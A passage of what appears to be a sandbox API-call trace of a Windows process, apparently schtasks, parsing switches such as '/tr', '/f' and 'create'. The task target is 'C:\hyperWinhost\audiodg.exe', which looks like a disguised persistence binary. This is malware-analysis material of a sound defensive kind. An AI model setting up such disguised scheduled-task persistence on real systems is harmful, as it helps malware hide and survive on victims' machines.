_Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|p|") returned 3 [0069.964] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.964] lstrlenW (lpString="|p|") returned 3 [0069.964] lstrlenW (lpString="|tr|") returned 4 [0069.964] SetLastError (dwErrCode=0x490) [0069.964] lstrlenW (lpString="ru") returned 2 [0069.964] lstrlenW (lpString="ru") returned 2 [0069.964] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.964] lstrlenW (lpString="tr") returned 2 [0069.964] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.964] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|ru|") returned 4 [0069.964] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.965] lstrlenW (lpString="|ru|") returned 4 [0069.965] lstrlenW (lpString="|tr|") returned 4 [0069.965] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0069.965] SetLastError (dwErrCode=0x490) [0069.965] lstrlenW (lpString="rp") returned 2 [0069.965] lstrlenW (lpString="rp") returned 2 [0069.965] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.965] lstrlenW (lpString="tr") returned 2 [0069.965] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.965] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|rp|") returned 4 [0069.965] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.965] lstrlenW (lpString="|rp|") returned 4 [0069.965] lstrlenW (lpString="|tr|") returned 4 [0069.965] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0069.965] SetLastError (dwErrCode=0x490) [0069.965] lstrlenW (lpString="sc") returned 2 [0069.965] lstrlenW (lpString="sc") returned 2 [0069.965] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.965] lstrlenW (lpString="tr") returned 2 [0069.965] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.965] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.965] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.965] lstrlenW (lpString="|sc|") returned 4 [0069.965] lstrlenW (lpString="|tr|") returned 4 [0069.965] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0069.965] SetLastError (dwErrCode=0x490) [0069.965] lstrlenW (lpString="mo") returned 2 [0069.965] lstrlenW (lpString="mo") returned 2 [0069.965] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.966] lstrlenW (lpString="tr") returned 2 [0069.966] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.966] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.966] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.966] lstrlenW (lpString="|mo|") returned 4 [0069.966] lstrlenW (lpString="|tr|") returned 4 [0069.966] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0069.966] SetLastError (dwErrCode=0x490) [0069.966] lstrlenW (lpString="d") returned 1 [0069.966] lstrlenW (lpString="d") returned 1 [0069.966] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.966] lstrlenW (lpString="tr") returned 2 [0069.966] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.966] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|d|") returned 3 [0069.966] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.966] lstrlenW (lpString="|d|") returned 3 [0069.966] lstrlenW (lpString="|tr|") returned 4 [0069.966] SetLastError (dwErrCode=0x490) [0069.966] lstrlenW (lpString="m") returned 1 [0069.966] lstrlenW (lpString="m") returned 1 [0069.966] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.966] lstrlenW (lpString="tr") returned 2 [0069.966] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.966] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|m|") returned 3 [0069.966] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.966] lstrlenW (lpString="|m|") returned 3 [0069.966] lstrlenW (lpString="|tr|") returned 4 [0069.966] SetLastError (dwErrCode=0x490) [0069.966] lstrlenW (lpString="i") returned 1 [0069.967] lstrlenW (lpString="i") returned 1 [0069.967] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.967] lstrlenW (lpString="tr") returned 2 [0069.967] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.967] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|i|") returned 3 [0069.967] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.967] lstrlenW (lpString="|i|") returned 3 [0069.967] lstrlenW (lpString="|tr|") returned 4 [0069.967] SetLastError (dwErrCode=0x490) [0069.967] lstrlenW (lpString="tn") returned 2 [0069.967] lstrlenW (lpString="tn") returned 2 [0069.967] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.967] lstrlenW (lpString="tr") returned 2 [0069.967] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.967] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.967] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.967] lstrlenW (lpString="|tn|") returned 4 [0069.967] lstrlenW (lpString="|tr|") returned 4 [0069.967] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0069.967] SetLastError (dwErrCode=0x490) [0069.967] lstrlenW (lpString="tr") returned 2 [0069.967] lstrlenW (lpString="tr") returned 2 [0069.967] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.967] lstrlenW (lpString="tr") returned 2 [0069.967] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.967] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.967] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.967] lstrlenW (lpString="|tr|") returned 4 [0069.967] lstrlenW (lpString="|tr|") returned 4 [0069.968] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0069.968] SetLastError (dwErrCode=0x0) [0069.968] SetLastError (dwErrCode=0x0) [0069.968] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0069.968] lstrlenW (lpString="-/") returned 2 [0069.968] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0069.968] SetLastError (dwErrCode=0x490) [0069.968] SetLastError (dwErrCode=0x490) [0069.968] SetLastError (dwErrCode=0x0) [0069.968] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0069.968] StrChrIW (lpStart="'C:\\hyperWinhost\\audiodg.exe'", wMatch=0x3a) returned=":\\hyperWinhost\\audiodg.exe'" [0069.968] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0069.968] _memicmp (_Buf1=0x3ac430, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.968] _memicmp (_Buf1=0x3ad600, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.968] SetLastError (dwErrCode=0x7a) [0069.968] SetLastError (dwErrCode=0x0) [0069.968] SetLastError (dwErrCode=0x0) [0069.968] lstrlenW (lpString="'C") returned 2 [0069.968] lstrlenW (lpString="-/") returned 2 [0069.968] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0069.968] SetLastError (dwErrCode=0x490) [0069.968] SetLastError (dwErrCode=0x490) [0069.968] SetLastError (dwErrCode=0x0) [0069.968] _memicmp (_Buf1=0x3ad660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.968] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0069.968] GetProcessHeap () returned 0x390000 [0069.968] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad680) returned 1 [0069.968] GetProcessHeap () returned 0x390000 [0069.968] RtlReAllocateHeap (Heap=0x390000, Flags=0xc, Ptr=0x3ad680, Size=0x3c) returned 0x3a9480 [0069.968] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0069.968] lstrlenW (lpString=" \x09") returned 2 [0069.968] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0069.968] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0069.969] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0069.969] GetLastError () returned 0x0 [0069.969] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0069.969] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0069.969] SetLastError (dwErrCode=0x0) [0069.969] SetLastError (dwErrCode=0x0) [0069.970] lstrlenW (lpString="/f") returned 2 [0069.970] lstrlenW (lpString="-/") returned 2 [0069.970] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.970] lstrlenW (lpString="create") returned 6 [0069.970] lstrlenW (lpString="create") returned 6 [0069.970] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.970] lstrlenW (lpString="f") returned 1 [0069.970] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.970] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|create|") returned 8 [0069.970] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.970] lstrlenW (lpString="|create|") returned 8 [0069.970] lstrlenW (lpString="|f|") returned 3 [0069.970] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0069.970] SetLastError (dwErrCode=0x490) [0069.970] lstrlenW (lpString="?") returned 1 [0069.970] lstrlenW (lpString="?") returned 1 [0069.970] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.970] lstrlenW (lpString="f") returned 1 [0069.970] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.970] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|?|") returned 3 [0069.970] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.970] lstrlenW (lpString="|?|") returned 3 [0069.970] lstrlenW (lpString="|f|") returned 3 [0069.970] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0069.970] SetLastError (dwErrCode=0x490) [0069.970] lstrlenW (lpString="s") returned 1 [0069.970] lstrlenW (lpString="s") returned 1 [0069.970] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.971] lstrlenW (lpString="f") returned 1 [0069.971] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.971] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|s|") returned 3 [0069.971] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.971] lstrlenW (lpString="|s|") returned 3 [0069.971] lstrlenW (lpString="|f|") returned 3 [0069.971] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0069.971] SetLastError (dwErrCode=0x490) [0069.971] lstrlenW (lpString="u") returned 1 [0069.971] lstrlenW (lpString="u") returned 1 [0069.971] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.971] lstrlenW (lpString="f") returned 1 [0069.971] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.971] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|u|") returned 3 [0069.971] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.971] lstrlenW (lpString="|u|") returned 3 [0069.971] lstrlenW (lpString="|f|") returned 3 [0069.971] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0069.971] SetLastError (dwErrCode=0x490) [0069.971] lstrlenW (lpString="p") returned 1 [0069.971] lstrlenW (lpString="p") returned 1 [0069.971] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.971] lstrlenW (lpString="f") returned 1 [0069.971] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.971] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|p|") returned 3 [0069.971] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.971] lstrlenW (lpString="|p|") returned 3 [0069.971] lstrlenW (lpString="|f|") returned 3 [0069.971] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0069.971] SetLastError (dwErrCode=0x490) [0069.971] lstrlenW (lpString="ru") returned 2 [0069.972] lstrlenW (lpString="ru") returned 2 [0069.972] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.972] lstrlenW (lpString="f") returned 1 [0069.972] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.972] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|ru|") returned 4 [0069.972] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.972] lstrlenW (lpString="|ru|") returned 4 [0069.972] lstrlenW (lpString="|f|") returned 3 [0069.972] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0069.972] SetLastError (dwErrCode=0x490) [0069.972] lstrlenW (lpString="rp") returned 2 [0069.972] lstrlenW (lpString="rp") returned 2 [0069.972] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.972] lstrlenW (lpString="f") returned 1 [0069.972] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.972] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|rp|") returned 4 [0069.972] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.972] lstrlenW (lpString="|rp|") returned 4 [0069.972] lstrlenW (lpString="|f|") returned 3 [0069.972] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0069.972] SetLastError (dwErrCode=0x490) [0069.972] lstrlenW (lpString="sc") returned 2 [0069.972] lstrlenW (lpString="sc") returned 2 [0069.972] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.972] lstrlenW (lpString="f") returned 1 [0069.972] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.972] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.972] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.972] lstrlenW (lpString="|sc|") returned 4 [0069.973] lstrlenW (lpString="|f|") returned 3 [0069.973] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0069.973] SetLastError (dwErrCode=0x490) [0069.973] lstrlenW (lpString="mo") returned 2 [0069.973] lstrlenW (lpString="mo") returned 2 [0069.973] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.973] lstrlenW (lpString="f") returned 1 [0069.973] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.973] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.973] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.973] lstrlenW (lpString="|mo|") returned 4 [0069.973] lstrlenW (lpString="|f|") returned 3 [0069.973] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0069.973] SetLastError (dwErrCode=0x490) [0069.973] lstrlenW (lpString="d") returned 1 [0069.973] lstrlenW (lpString="d") returned 1 [0069.973] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.973] lstrlenW (lpString="f") returned 1 [0069.973] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.973] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|d|") returned 3 [0069.973] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.973] lstrlenW (lpString="|d|") returned 3 [0069.973] lstrlenW (lpString="|f|") returned 3 [0069.973] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0069.973] SetLastError (dwErrCode=0x490) [0069.973] lstrlenW (lpString="m") returned 1 [0069.973] lstrlenW (lpString="m") returned 1 [0069.973] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.973] lstrlenW (lpString="f") returned 1 [0069.974] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.974] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|m|") returned 3 [0069.974] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.974] lstrlenW (lpString="|m|") returned 3 [0069.974] lstrlenW (lpString="|f|") returned 3 [0069.974] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0069.974] SetLastError (dwErrCode=0x490) [0069.974] lstrlenW (lpString="i") returned 1 [0069.974] lstrlenW (lpString="i") returned 1 [0069.974] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.974] lstrlenW (lpString="f") returned 1 [0069.974] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.974] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|i|") returned 3 [0069.974] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.974] lstrlenW (lpString="|i|") returned 3 [0069.974] lstrlenW (lpString="|f|") returned 3 [0069.974] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0069.974] SetLastError (dwErrCode=0x490) [0069.974] lstrlenW (lpString="tn") returned 2 [0069.974] lstrlenW (lpString="tn") returned 2 [0069.974] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.974] lstrlenW (lpString="f") returned 1 [0069.974] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.974] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.974] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.974] lstrlenW (lpString="|tn|") returned 4 [0069.975] lstrlenW (lpString="|f|") returned 3 [0069.975] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0069.975] SetLastError (dwErrCode=0x490) [0069.975] lstrlenW (lpString="tr") returned 2 [0069.975] lstrlenW (lpString="tr") returned 2 [0069.975] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.975] lstrlenW (lpString="f") returned 1 [0069.975] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.975] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.975] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.975] lstrlenW (lpString="|tr|") returned 4 [0069.975] lstrlenW (lpString="|f|") returned 3 [0069.975] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0069.975] SetLastError (dwErrCode=0x490) [0069.975] lstrlenW (lpString="st") returned 2 [0069.975] lstrlenW (lpString="st") returned 2 [0069.975] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.975] lstrlenW (lpString="f") returned 1 [0069.975] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.975] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|st|") returned 4 [0069.975] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.975] lstrlenW (lpString="|st|") returned 4 [0069.975] lstrlenW (lpString="|f|") returned 3 [0069.975] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0069.975] SetLastError (dwErrCode=0x490) [0069.975] lstrlenW (lpString="sd") returned 2 [0069.975] lstrlenW (lpString="sd") returned 2 [0069.975] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.975] lstrlenW (lpString="f") returned 1 [0069.976] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.976] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sd|") returned 4 [0069.976] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.976] lstrlenW (lpString="|sd|") returned 4 [0069.976] lstrlenW (lpString="|f|") returned 3 [0069.976] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0069.976] SetLastError (dwErrCode=0x490) [0069.976] lstrlenW (lpString="ed") returned 2 [0069.976] lstrlenW (lpString="ed") returned 2 [0069.976] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.976] lstrlenW (lpString="f") returned 1 [0069.976] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.976] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|ed|") returned 4 [0069.976] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.976] lstrlenW (lpString="|ed|") returned 4 [0069.976] lstrlenW (lpString="|f|") returned 3 [0069.976] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0069.976] SetLastError (dwErrCode=0x490) [0069.976] lstrlenW (lpString="it") returned 2 [0069.976] lstrlenW (lpString="it") returned 2 [0069.976] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.976] lstrlenW (lpString="f") returned 1 [0069.976] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.976] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|it|") returned 4 [0069.976] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|f|") returned 3 [0069.976] lstrlenW (lpString="|it|") returned 4 [0069.976] lstrlenW 